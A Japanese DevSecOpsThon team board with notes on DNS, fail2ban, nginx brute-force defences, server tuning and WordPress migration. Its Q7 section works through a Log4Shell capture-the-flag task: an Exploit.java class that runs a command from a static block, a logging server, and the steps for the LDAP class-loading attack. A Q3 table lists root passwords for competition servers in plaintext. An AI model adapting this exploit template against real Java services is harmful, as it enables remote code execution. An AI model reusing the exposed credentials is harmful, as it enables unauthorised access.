DevSecOpsThon チームD チームボード === $ title="$(curl -sL http://www.gmo.jp | xmllint --html --xpath '/html/head/title/text()' - 2>/dev/null)" $ echo ${title} テスト # Q1 ## 現状の問題点 - GLobal-ipにsshをアクセスして、そこからcurlを`http://ww.gmo.jp`に飛ばしてもwelcomenginxが帰ってくる。 - 自分たちのPCからCURLを飛ばしたら、`GMOインターネットグループ`株式会社が表示される。 - テスト用のコンテンツが帰ってくるらしいが、そもそもテストコンテンツが表示されていない。 ## 考えられる問題 - DNS - ``` :VM ; <<>> DiG 9.16.1-Ubuntu <<>> www.gmo.jp ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 339 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ;; QUESTION SECTION: ;www.gmo.jp. IN A ;; ANSWER SECTION: www.gmo.jp. 3600 IN A 192.168.144.224 ;; Query time: 0 msec ;; SERVER: 192.168.144.224#53(192.168.144.224) ;; WHEN: Sat Apr 29 03:13:07 UTC 2023 ;; MSG SIZE rcvd: 55 ``` ```:ローカル ; <<>> DiG 9.10.6 <<>> www.gmo.jp ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8684 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;www.gmo.jp. IN A ;; ANSWER SECTION: www.gmo.jp. 29 IN A 104.17.171.108 www.gmo.jp. 29 IN A 104.17.172.108 ;; Query time: 49 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Sat Apr 29 12:13:30 JST 2023 ;; MSG SIZE rcvd: 71 ``` ### DNSサーバーを確認する。 - VM ```bash= scott@assignment-2-d:~$ cat /etc/resolv.conf # generated by bash script called from cloud-init nameserver 192.168.144.224 ``` - ローカル ``` ~/devsec on  master ❯ cat /etc/resolv.conf # # macOS Notice # # This file is not consulted for DNS hostname resolution, address # resolution, or the DNS query routing mechanism used by most # processes on this system. # # To view the DNS configuration used by this system, use: # scutil --dns # # SEE ALSO # dns-sd(1), scutil(8) # # This file is automatically generated. # nameserver 8.8.8.8 nameserver 1.1.1.1 nameserver 8.8.4.4 ``` DNSがおかしかったぽい ## 対処法 /etc/resolv.conf を変更して、DNS先を変えた。 ![](https://i.imgur.com/3Ug7dtf.png) 参考文献 https://qiita.com/kasei-san/items/137b7fc86a0eacd60765 sshd のログ 不正ログインの検出を見る `/var/log/secure` ``` Apr 23 11:07:25 q3-d-01 sshd[137925]: Accepted password for root from 210.172.128.230 port 6724 ssh2 Apr 23 11:07:25 q3-d-01 sshd[137925]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 23 11:17:34 q3-d-01 sshd[137927]: Received disconnect from 210.172.128.230 port 6724:11: disconnected by server request Apr 23 11:17:34 q3-d-01 sshd[137927]: Disconnected from user root 210.172.128.230 port 6724 Apr 23 11:17:34 q3-d-01 sshd[137925]: pam_unix(sshd:session): session closed for user root Apr 28 18:14:39 q3-d-01 sshd[141770]: Accepted password for root from 210.172.128.230 port 62709 ssh2 Apr 28 18:14:39 q3-d-01 sshd[141770]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 28 18:16:27 q3-d-01 sshd[141770]: pam_unix(sshd:session): session closed for user root Apr 29 13:27:44 q3-d-01 sshd[142406]: Accepted password for root from 210.172.128.230 port 56308 ssh2 Apr 29 13:27:44 q3-d-01 sshd[142406]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 29 13:37:13 q3-d-01 sshd[142438]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.222.95.5 user=root Apr 29 13:37:15 q3-d-01 sshd[142438]: Failed password for root from 122.222.95.5 port 52068 ssh2 Apr 29 13:37:26 q3-d-01 sshd[142438]: Failed password for root from 122.222.95.5 port 52068 ssh2 Apr 29 13:37:36 q3-d-01 sshd[142440]: Accepted password for root from 122.222.95.5 port 52543 ssh2 Apr 29 13:37:36 q3-d-01 sshd[142440]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 29 13:37:40 q3-d-01 sshd[142438]: Failed password for root from 122.222.95.5 port 52068 ssh2 Apr 29 13:37:42 q3-d-01 sshd[142438]: Connection closed by authenticating user root 122.222.95.5 port 52068 [preauth] Apr 29 13:37:42 q3-d-01 sshd[142438]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.222.95.5 user=root Apr 29 13:42:46 q3-d-01 sshd[142447]: Received disconnect from 122.222.95.5 port 52543:11: disconnected by user Apr 29 13:42:46 q3-d-01 sshd[142447]: Disconnected from user root 122.222.95.5 port 52543 Apr 29 13:42:46 q3-d-01 sshd[142440]: pam_unix(sshd:session): session closed for user root Apr 29 13:46:04 q3-d-01 sshd[142483]: Accepted password for root from 210.172.128.230 port 61455 ssh2 Apr 29 13:46:04 q3-d-01 sshd[142483]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 29 13:46:05 q3-d-01 sshd[142485]: Received disconnect from 210.172.128.230 port 61455:11: disconnected by user Apr 29 13:46:05 q3-d-01 sshd[142485]: Disconnected from user root 210.172.128.230 port 61455 Apr 29 13:46:05 q3-d-01 sshd[142483]: pam_unix(sshd:session): session closed for user root Apr 29 13:49:55 q3-d-01 sshd[142530]: Accepted password for root from 122.222.95.5 port 63408 ssh2 Apr 29 13:49:55 q3-d-01 sshd[142530]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 29 13:49:58 q3-d-01 sshd[142524]: Accepted password for root from 122.222.95.5 port 56012 ssh2 Apr 29 13:49:58 q3-d-01 sshd[142524]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 29 13:50:09 q3-d-01 sshd[142528]: Connection closed by authenticating user root 122.222.95.5 port 55960 [preauth] Apr 29 13:50:13 q3-d-01 sshd[142526]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.222.95.5 user=root Apr 29 13:50:14 q3-d-01 sshd[142526]: Failed password for root from 122.222.95.5 port 52230 ssh2 Apr 29 13:50:22 q3-d-01 sshd[142526]: Accepted password for root from 122.222.95.5 port 52230 ssh2 Apr 29 13:50:22 q3-d-01 sshd[142526]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 29 13:50:35 q3-d-01 sshd[142593]: Accepted password for root from 122.222.95.5 port 55977 ssh2 Apr 29 13:50:35 q3-d-01 sshd[142593]: pam_unix(sshd:session): session opened for user root by (uid=0) Apr 29 13:52:32 q3-d-01 sudo[142666]: root : TTY=pts/3 ; PWD=/root ; USER=root ; COMMAND=/sbin/faillock Apr 29 13:52:32 q3-d-01 sudo[142666]: pam_unix(sudo:session): session opened for user root by root(uid=0) Apr 29 13:52:32 q3-d-01 sudo[142666]: pam_unix(sudo:session): session closed for user root ``` ## 報告書 @メンター 課題1番について完了しました。 確認お願いします。 ==(コマンド結果以外は1~2行の簡潔なものでOK)== 1.期待とは違うレスポンスが得られた理由の推定 ★内容★ DNSの接続先が異なっているため本来のwww.gmo.jpのコンテンツにアクセスできていなかった 2.行った対策の内容 ★内容★ DNSによる名前解決を改善するために/etc/resolv.confを ``` # generated by bash script called from cloud-init nameserver 8.8.8.8 nameserver 192.168.144.224 ``` とし title="$(curl -sL http://www.gmo.jp | xmllint --html --xpath '/html/head/title/text()' - 2>/dev/null)" $ echo ${title} を命令しなおした。 3.対策後のcurlコマンド結果 ★内容★ scott@assignment-2-d:~$ sh shell.sh # Q2 ## 現状の問題点 - sshがVM2とVM1同士では接続できない - パスワードを何回も間違えたからだと思われる。 ## 考えられる原因 これは違った。faillock https://www.server-memo.net/server-setting/ssh/account_lock_ssh.html fail2banが不正アクセスを守ってくれていた。 https://qiita.com/hana_shin/items/1233b3b8eea241bcadad ## 対策方法 - fail2banによってsshの接続が遮断されているためその設定を変更する - まず,`fail2ban-client status`コマンドで現在稼働しているjailの確認を行う - 次に,`fail2ban-client status sshd`先ほど確認したjailの`Banned IP list`を確認する.今回の場合2の方のプライベートIPがbanされていることが確認できる. - 次に,`fail2ban-client set sshd unbanip <IP>`を実行しbanされているIPを解除する - 最後に`firewall`をリロードし変更を反映させる. 上記の流れでbanされたIPを解除することができる ![](https://i.imgur.com/uzHj2u4.png) ## 報告書 @メンター 課題2番について完了しました。 確認お願いします。 ==== 1.【q3-[*]-02 → q3-[*]-01】のSSHコマンド結果 ★内容★ ``` [root@q3-d-02 /]# ssh 192.168.144.64 -l root root@192.168.144.64's password: Last login: Sat Apr 29 13:50:35 2023 from 122.222.95.5 [root@q3-d-01 ~]# ``` 2.原因解消のために行ったコマンド ★内容★ ``` [root@q3-d-01 fail2ban]# fail2ban-client status Status |- Number of jail: 1 `- Jail list: sshd [root@q3-d-01 fail2ban]# fail2ban-client status sshd Status for the jail: sshd |- Filter | |- Currently failed: 0 | |- Total failed: 8 | `- Journal matches: _SYSTEMD_UNIT=sshd.service + _COMM=sshd `- Actions |- Currently banned: 1 |- Total banned: 3 `- Banned IP list: 192.168.144.74 [root@q3-d-01 fail2ban]# fail2ban-client set sshd unbanip 192.168.144.74 1 [root@q3-d-01 fail2ban]# firewall-cmd --reload success ``` # Q2 ボーナス ## 現状の問題点 - fail2banのコンフィグを変更したい。 アクセス禁止時間:1ヶ月(30日) 監視時間:1時間 リトライ回数:3回 ## 考えられる原因 - jail.localの設定を変更する。 下記URLを元に、jail.localを変更する。 https://qiita.com/hana_shin/items/1233b3b8eea241bcadad#71-%E8%A8%AD%E5%AE%9A%E5%86%85%E5%AE%B9 ## 対策方法 vim /etc/fail2ban/jail.local ```bash [sshd] enabled = true bantime = 2592000 findtime = 3600 maxretry = 3 ``` ## 報告書 @ug-menter 課題3-2番(ボーナス問題)について完了しました。 確認お願いします。 [sshd] enabled = true bantime = 2592000 findtime = 3600 maxretry = 3 # Q3 | HOSTNAME | GLOBAL-IP | INTERNAL-IP | USER-ID | USER-PASS | | -------- | ------------- | -------------- | ------- | ---------------------- | | q1-d-web | 150.95.35.231 | 192.168.144.47 | root | `M).hB,+XJ(C-*G4ZsF=R` | | q1-d-db | 150.95.35.232 | 192.168.144.48 | root | `M).hB,+XJ(C-*G4ZsF=R` | 設定などのパス集 https://penpen-dev.com/blog/ubuntuapache2/ ## 現状の問題点 - ポート解放をする。 ## 考えられる原因 - ポート解放がされていない - アパッチの設定が間違っている?間違ってなさそう - wordpressのDBの設定が間違っていそう 間違ってなさそう - IPアドレスの固定ができていない。pingが飛ばなかった。なんで? - ## 対策方法 ### apacheが起動しているか確認した。 ![](https://i.imgur.com/YZFqfmp.png) ### ポート解放をする。 ufw周り。 ### 固定IPアドレスの設定をする https://office54.net/iot/linux/ubuntu-ipaddress-netplan#section2-2 IPADDR= 192.168.11.1YY#固定IPアドレスの設定 ```bash network: version: 2 ethernets: eth0: dhcp4: false dhcp6: false accept-ra: false addresses: - 150.95.35.231/23 match: macaddress: fa:16:3e:c7:e5:01 mtu: 1500 nameservers: addresses: - 127.0.0.1 search: [] routes: - to: 0.0.0.0/0 via: 150.95.34.1 ``` 設定ファイルの再読込 `systemctl daemon-reload` `sudo netplan apply` ### アパッチ設定が間違っている。 ## 報告書 # Q4 ## 現状の問題点 - ホストがない - 監視していない ## 考えられる原因 - エージェントを追加する ## 対策方法 8. sshのActive Check /etc/nginx/conf.d/zabbix.conf /etc/zabbix/zabbix_agentd.conf /etc/zabbix/zabbix_server.conf /etc/zabbix/zabbix_server.conf SSHKeyLocation=/var/lib/zabbix/.ssh/id_rs ## 報告書 # Q5 https://himawaritech.jp/linux/nginx-config-check/ nginx -t で文法チェックができる。 systemctl restart nginx で再起動。 ## 現状の問題点 ログを確認します。 サーバログ /var/log/nginx/access.log 172.25.0.51 172.25.1.*からの大量のPOSTリクエスト ```bash 172.25.1.61 - - [29/Apr/2023:16:36:57 +0900] "POST /wp-login.php HTTP/1.1" 200 9483 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" "-" "log=root&pwd=N&redirect_to=http%3A%2F%2F2023-q6-team-d.devsecopsthon.net%2Fwp-admin%2F&testcookie=1&wp-submit=%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3" ``` 122.222.95.5(同一IPからの)大量のGETリクエスト ```bash 122.222.95.5 - - [29/Apr/2023:16:33:43 +0900] "GET /wp-includes/images/w-logo-blue-white-bg.png HTTP/1.1" 200 4119 "http://2023-q6-team-d.devsecopsthon.net/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" ``` nginxのエラーログ /var/log/nginx/error.log ``` 2023/04/29 16:36:18 [warn] 64799#64799: *530747 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/1/00/0000000001 while reading upstream, client: 122.222.95.5, server: localhost, request: "GET /wp-admin/load-scripts.php?c=1&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,moxiejs,plupload&ver=6.2 HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php-fpm.sock:", host: "2023-q6-team-d.devsecopsthon.net", referrer: "http://2023-q6-team-d.devsecopsthon.net/wp-admin/" 2023/04/29 16:36:18 [warn] 64799#64799: *530722 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/2/00/0000000002 while reading upstream, client: 122.222.95.5, server: localhost, request: "GET /wp-admin/load-styles.php?c=1&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,site-health,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-poi&load%5Bchunk_1%5D=nter,widgets,site-icon,l10n,buttons,wp-auth-check,wp-color-picker,media-views&ver=6.2 HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php-fpm.sock:", host: "2023-q6-team-d.devsecopsthon.net", referrer: "http://2023-q6-team-d.devsecopsthon.net/wp-admin/" 2023/04/29 16:38:13 [warn] 64799#64799: *537746 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/3/00/0000000003 while reading upstream, client: 122.222.95.5, server: localhost, request: "GET /wp-admin/load-styles.php?c=1&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,buttons,wp-color-picker&ver=6.2 HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php-fpm.sock:", host: "2023-q6-team-d.devsecopsthon.net", referrer: "http://2023-q6-team-d.devsecopsthon.net/wp-admin/update-core.php" 2023/04/29 16:41:29 [warn] 64799#64799: *543560 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/4/00/0000000004 while reading upstream, client: 122.222.95.5, server: localhost, request: "GET /wp-admin/load-styles.php?c=1&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,buttons,wp-auth-check,wp-color-picker&ver=6.2 HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php-fpm.sock:", host: "2023-q6-team-d.devsecopsthon.net", referrer: "http://2023-q6-team-d.devsecopsthon.net/wp-admin/plugins.php" 2023/04/29 16:48:20 [notice] 64798#64798: signal 15 (SIGTERM) received from 82221, exiting 2023/04/29 16:48:20 [notice] 64799#64799: exiting 2023/04/29 16:48:20 [notice] 64798#64798: signal 15 (SIGTERM) received from 1, exiting 2023/04/29 16:48:20 [notice] 64799#64799: signal 15 (SIGTERM) received from 1, exiting 2023/04/29 16:48:20 [notice] 64799#64799: exit 2023/04/29 16:48:20 [notice] 64798#64798: signal 17 (SIGCHLD) received from 64799 2023/04/29 16:48:20 [notice] 64798#64798: worker process 64799 exited with code 0 2023/04/29 16:48:20 [notice] 64798#64798: exit 2023/04/29 16:48:20 [warn] 82222#82222: conflicting server name "localhost" on 0.0.0.0:80, ignored 2023/04/29 16:48:20 [emerg] 82222#82222: zero size shared memory zone "one" 2023/04/29 16:49:25 [warn] 82313#82313: conflicting server name "localhost" on 0.0.0.0:80, ignored 2023/04/29 16:49:25 [emerg] 82313#82313: zero size shared memory zone "one" 2023/04/29 16:50:02 [warn] 82473#82473: conflicting server name "localhost" on 0.0.0.0:80, ignored 2023/04/29 16:50:02 [warn] 82473#82473: 4000 worker_connections exceed open file resource limit: 1024 ``` ここでもclient: 122.222.95.5が確認できる。 sshdのログ 不正ログインの検出 /var/log/secure ## 考えられる原因 ## 対策方法 /etc/nginx/conf.d ```bash geo $access_filter { default OK; include /etc/nginx/conf.d/ip_deny_list.txt; } server { listen 80; server_name 172.25.0.51; root /var/www/html; deny 172.25.0.1; index index.html index.htm; } ``` /etc/nginx/conf.d/brute_protect.conf ```bash server { server_name http://2023-q6-team-d.devsecopsthon.net/; root /var/www/html/; #limit connection per ip limit_conn perip 10; #protect /admin/login location ~/admin/login { limit_req zone=login; #use login limit_req_zone limit_req_status 444; #return 444 when limiting } location / { #other none rate limited requests } } ``` ブラックリストの作成 ``` 122.222.95.5 NG; 172.25.0.51 NG; 172.25.1.1 NG; 172.25.1.2 NG; 172.25.1.3 NG; 172.25.1.4 NG; 172.25.1.5 NG; 172.25.1.6 NG; 172.25.1.7 NG; 172.25.1.8 NG; 172.25.1.9 NG; 172.25.1.10 NG; 172.25.1.11 NG; 172.25.1.12 NG; 172.25.1.13 NG; 172.25.1.14 NG; 172.25.1.15 NG; 172.25.1.17 NG; 172.25.1.18 NG; 172.25.1.19 NG; 172.25.1.20 NG; 172.25.1.21 NG; 172.25.1.22 NG; 172.25.1.23 NG; 172.25.1.24 NG; 172.25.1.25 NG; 172.25.1.26 NG; 172.25.1.27 NG; 172.25.1.28 NG; 172.25.1.29 NG; 172.25.1.30 NG; 172.25.1.31 NG; 172.25.1.32 NG; 172.25.1.33 NG; 172.25.1.34 NG; 172.25.1.35 NG; 172.25.1.36 NG; 172.25.1.37 NG; 172.25.1.38 NG; 172.25.1.39 NG; 172.25.1.41 NG; 172.25.1.42 NG; 172.25.1.43 NG; 172.25.1.44 NG; 172.25.1.45 NG; 172.25.1.46 NG; 172.25.1.47 NG; 172.25.1.48 NG; 172.25.1.49 NG; 172.25.1.50 NG; 172.25.1.51 NG; 172.25.1.52 NG; 172.25.1.53 NG; 172.25.1.54 NG; 172.25.1.55 NG; 172.25.1.56 NG; 172.25.1.57 NG; 172.25.1.58 NG; 172.25.1.59 NG; 172.25.1.60 NG; 172.25.1.61 NG; 172.25.1.62 NG; 172.25.1.63 NG; 172.25.1.64 NG; 172.25.1.65 NG; 172.25.1.67 NG; 172.25.1.69 NG; 172.25.1.71 NG; 172.25.1.72 NG; 172.25.1.73 NG; 172.25.1.74 NG; 172.25.1.75 NG; 172.25.1.76 NG; 172.25.1.78 NG; 172.25.1.79 NG; 172.25.1.80 NG; 172.25.1.81 NG; 172.25.1.82 NG; 172.25.1.83 NG; 172.25.1.84 NG; 172.25.1.85 NG; 172.25.1.86 NG; 172.25.1.87 NG; 172.25.1.88 NG; 172.25.1.89 NG; 172.25.1.90 NG; 172.25.1.91 NG; 172.25.1.92 NG; 172.25.1.93 NG; 172.25.1.94 NG; 172.25.1.95 NG; 172.25.1.96 NG; 172.25.1.97 NG; 172.25.1.98 NG; 172.25.1.99 NG; 172.25.1.100 NG; 172.25.1.101 NG; 172.25.1.102 NG; 172.25.1.103 NG; 172.25.1.104 NG; 172.25.1.105 NG; 172.25.1.106 NG; 172.25.1.107 NG; 172.25.1.108 NG; 172.25.1.109 NG; 172.25.1.110 NG; 172.25.1.112 NG; 172.25.1.113 NG; 172.25.1.114 NG; 172.25.1.115 NG; 172.25.1.116 NG; 172.25.1.118 NG; 172.25.1.119 NG; 172.25.1.120 NG; 172.25.1.122 NG; 172.25.1.123 NG; 172.25.1.124 NG; 172.25.1.125 NG; 172.25.1.126 NG; 172.25.1.127 NG; 172.25.1.128 NG; 172.25.1.129 NG; 172.25.1.130 NG; 172.25.1.131 NG; 172.25.1.132 NG; 172.25.1.133 NG; 172.25.1.134 NG; 172.25.1.135 NG; 172.25.1.136 NG; 172.25.1.137 NG; 172.25.1.138 NG; 172.25.1.139 NG; 172.25.1.140 NG; 172.25.1.141 NG; 172.25.1.142 NG; 172.25.1.143 NG; 172.25.1.144 NG; 172.25.1.145 NG; 172.25.1.146 NG; 172.25.1.147 NG; 172.25.1.148 NG; 172.25.1.149 NG; 172.25.1.150 NG; 172.25.1.151 NG; 172.25.1.152 NG; 172.25.1.153 NG; 172.25.1.154 NG; 172.25.1.155 NG; 172.25.1.156 NG; 172.25.1.157 NG; 172.25.1.158 NG; 172.25.1.159 NG; 172.25.1.160 NG; 172.25.1.161 NG; 172.25.1.162 NG; 172.25.1.163 NG; 172.25.1.164 NG; 172.25.1.165 NG; 172.25.1.166 NG; 172.25.1.167 NG; 172.25.1.168 NG; 172.25.1.169 NG; 172.25.1.170 NG; 172.25.1.171 NG; 172.25.1.172 NG; 172.25.1.173 NG; 172.25.1.174 NG; 172.25.1.175 NG; 172.25.1.176 NG; 172.25.1.177 NG; 172.25.1.178 NG; 172.25.1.179 NG; 172.25.1.180 NG; 172.25.1.181 NG; 172.25.1.182 NG; 172.25.1.183 NG; 172.25.1.184 NG; 172.25.1.185 NG; 172.25.1.186 NG; 172.25.1.187 NG; 172.25.1.188 NG; 172.25.1.189 NG; 172.25.1.190 NG; 172.25.1.191 NG; 172.25.1.192 NG; 172.25.1.193 NG; 172.25.1.194 NG; 172.25.1.195 NG; 172.25.1.196 NG; 172.25.1.197 NG; 172.25.1.198 NG; 172.25.1.199 NG; 172.25.1.200 NG; 172.25.1.201 NG; 172.25.1.202 NG; 172.25.1.203 NG; 172.25.1.204 NG; 172.25.1.205 NG; 172.25.1.206 NG; 172.25.1.207 NG; 172.25.1.208 NG; 172.25.1.209 NG; 172.25.1.210 NG; 172.25.1.211 NG; 172.25.1.212 NG; 172.25.1.213 NG; 172.25.1.214 NG; 172.25.1.215 NG; 172.25.1.216 NG; 172.25.1.217 NG; 172.25.1.218 NG; 172.25.1.219 NG; 172.25.1.220 NG; 172.25.1.221 NG; 172.25.1.222 NG; 172.25.1.223 NG; 172.25.1.224 NG; 172.25.1.225 NG; 172.25.1.226 NG; 172.25.1.227 NG; 172.25.1.228 NG; 172.25.1.229 NG; 172.25.1.230 NG; 172.25.1.231 NG; 172.25.1.232 NG; 172.25.1.233 NG; 172.25.1.234 NG; 172.25.1.235 NG; 172.25.1.236 NG; 172.25.1.237 NG; 172.25.1.238 NG; 172.25.1.239 NG; 172.25.1.240 NG; 172.25.1.241 NG; 172.25.1.242 NG; 172.25.1.243 NG; 172.25.1.244 NG; 172.25.1.245 NG; 172.25.1.246 NG; 172.25.1.247 NG; 172.25.1.248 NG; 172.25.1.249 NG; 172.25.1.250 NG; 172.25.1.251 NG; 172.25.1.252 NG; 172.25.1.253 NG; 172.25.1.254 NG; ``` ### 1秒に5回以上アクセスさせないようにする。 参考文献 https://wtnb.mydns.jp/wordpress/archives/6967 ``` http { limit_req_zone $binary_remote_addr zone=one:10m rate=10r/m; server { : location = /path/wp-login.php { limit_req zone=one burst=5 nodelay; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_pass unix:/var/run/php-fpm.sock; } } } ``` ``` http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for" "$request_body"'; access_log /var/log/nginx/access.log main if=$log_combined; access_log /var/log/nginx/zabbix_access.log combined if=$log_zabbix; map $http_user_agent $log_zabbix { default 0; ~ZABBIX-MONITORING-CHECK 1; } map $http_user_agent $log_combined { default 1; ~ZABBIX-MONITORING-CHECK 0; } sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; # ↓以下のものを追加する。 limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s; include /etc/nginx/conf.d/*.conf; } ``` ## 報告書 # Q6 ## 現状の問題点 - 写真が重い ## 考えられる原因 ## 対策方法 worker_process ``` worker_processes auto; error_log /var/log/nginx/error.log notice; pid /var/run/nginx.pid; worker_rlimit_nofile 100000; events { worker_connections 2048; multi_accept on; } ``` nginxの静的ファイルのキャッシュ /etc/nginx/sites-available# ``` location ~ .*\.(html?|jpe?g|gif|png|css|js|ico|swf|inc) { expires 7d; access_log off; } ``` nginx.confのgzip onのコメントアウトを外し下記を追記 ``` gzip on; gzip_disable "msie6"; gzip_vary on; gzip_proxied any; gzip_comp_level 6; gzip_buffers 16 8k; gzip_http_version 1.1; gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; ``` `worker_processes auto;`nginxに任せる Ubuntuのチューニングパラメータを変更 `sudo apt install tuned` ``` # ネットワークデバイス別にカーネルが処理できるように貯めておくqueueのサイズ net.core.netdev_max_backlog # backlog値のhard limit net.core.somaxconn = 4096 # ソケット当たりのSYNを受け付けてACKを受け取っていない状態のコネクションの保持可能数 net.ipv4.tcp_max_syn_backlog = 16000 # NIC に対する受信パケットの最大キューイング数 net.core.netdev_max_backlog = 16000 # TCPとUDPの受信バッファのデフォルトサイズと最大サイズ net.core.rmem_max = 4194304 # TCPとUDPの送信バッファのデフォルトサイズと最大サイズ net.core.wmem_max = 4194304 # データ受信バッファ サイズ net.ipv4.tcp_rmem = 4096 87380 4194304 # FINのタイムアウト時間 net.ipv4.tcp_fin_timeout = 12 # tcpのSYNを送信するリトライ回数 net.ipv4.tcp_syn_retries = 2 # TCP/IPの送信時に使用するポートの範囲 net.ipv4.ip_local_port_range = 32768 60999 # 自分からの接続を使い回す net.ipv4.tcp_tw_reuse = 1 # RFC1337に準拠させる net.ipv4.tcp_rfc1337 = 1 # システムが同時に保持するtime-waitソケットの最大数 net.ipv4.tcp_max_tw_buckets = 360000 # クライアントからの Sync パケットは捨てずに、 Syn cookies を利用した通信を行うかの設定 net.ipv4.tcp_syncookies = 1 # accept キューがあふれた場合、クライアントからの SYN に RST を返す net.ipv4.tcp_abort_on_overflow = 0 # SYN flood攻撃対策。 net.ipv4.tcp_syncookies = 1 ``` ヒント3のToo many open filesを改善 `echo 320000 > /proc/sys/fs/file-max` ## 報告書 # Q7 Exploit.java ``` import static java.util.stream.Collectors.joining; import java.util.Map; public class Exploit { public Exploit() { } static { try { String[] cmds = new String[] { "echo", "Hello !" }; java.lang.Runtime.getRuntime().exec(cmds).waitFor(); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Exploit e = new Exploit(); } ``` httpd.js ``` const express = require("express"); const app = express(); const argv = process.argv[2]; if (!argv) { console.error(`Please pass server address. Usage: nodejs httpd.js <ip address>:<port>`); return; } const address = argv.split(":")[0]; const port = parseInt(argv.split(":")[1]); app.use(express.static(".")); app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.get("/", (req, res) => { console.log(req.method, req.originalUrl, req.query); res.send("Hello World!"); }); app.post("/", (req, res) => { console.log(req.body); res.send("hi"); }); app.listen(port, address, () => { console.log(`Example app listening on ${address}:${port}`); }); ``` ## 現状の問題点 - Log4jを用いて、サーバーにアクセスして、フラグを取得する - 手順 - 不正なHTTPレスポンスを送る - LDAPからレスポンスを受け取る - LDAPからクラスファイルをダウンロードさせ、実行させる。 ![](https://i.imgur.com/SNfTu51.png) ## 考えられる原因 - ## 対策方法 - Javaからポストを飛ばして、取得する方法。 - サンプルで攻撃した。 - HTTPリクエストをとばしてみた。 ## 報告書 @メンター 課題7番について完了しました。 確認お願いします。 ============================================================================================ 1. 対象のサーバから得られた文字列 (Flag) DEVSECOPSTHON5FLG=???? 2. 今回取り上げている脆弱性の CVE 識別番号 CVE-2021-44228 参考文献 https://www.jpcert.or.jp/at/2021/at210050.html 3. 今回取り上げた脆弱性の影響範囲 (バージョン番号) Apache Log4j core 2.0-beta9 から 2.12.1 より前のバージョン Apache Log4j 2.13.0 から 2.15.0 より前のバージョン 参考文献 https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005429.html 4. 今回取り上げたソフトウェアの脆弱性が見つかったことより、影響のあったサービス、または企業名を 3 つ (例)・サービス/企業名 (ソースとなる URL があるとなおよし) ・ ACOS Access Toolkit ・ CONNEXIVE Application Platform ・ SMPRO/UPSManager 参考文献 https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005429.html ============================================================================================= # Q8 https://esa-pages.io/p/sharing/19973/posts/34/cf03b3ab398352c91889.html scpによるwordpress/のエクスポート ``` $ ssh scott@old_server_ip $ cd /var/www/html/ $ tar -czvf wordpress.tar.gz wordpress/ $ exit $ scp user@old_server_ip:/var/www/html/wordpress.tar.gz ~/wordpress.tar.gz ``` DBのエクスポート ``` $ ssh scott@old_server_ip $ mysqldump -u DB_USER -p DB_NAME > db_backup.sql $ exit $ scp scott@old_server_ip:/path/to/db_backup.sql ~/db_backup.sql ``` 以降先のDBインポート~DNSレコードを変更 ``` mysql -u DB_USER -p DB_NAME < ~/db_backup.sql cd /var/www/html/wordpress/ sudo cp wp-config-sample.php wp-config.php sudo vim wp-config.php # 以下を修正 # define('DB_NAME', 'database_name_here'); # define('DB_USER', 'username_here'); # define('DB_PASSWORD', 'password_here'); sudo systemctl restart apache2 ssh user@old_server_ip exit ssh user@domain_registrar_ip # ドメインレジストラのウェブサイトでDNSレコードを変更する exit ``` ## 現状の問題点 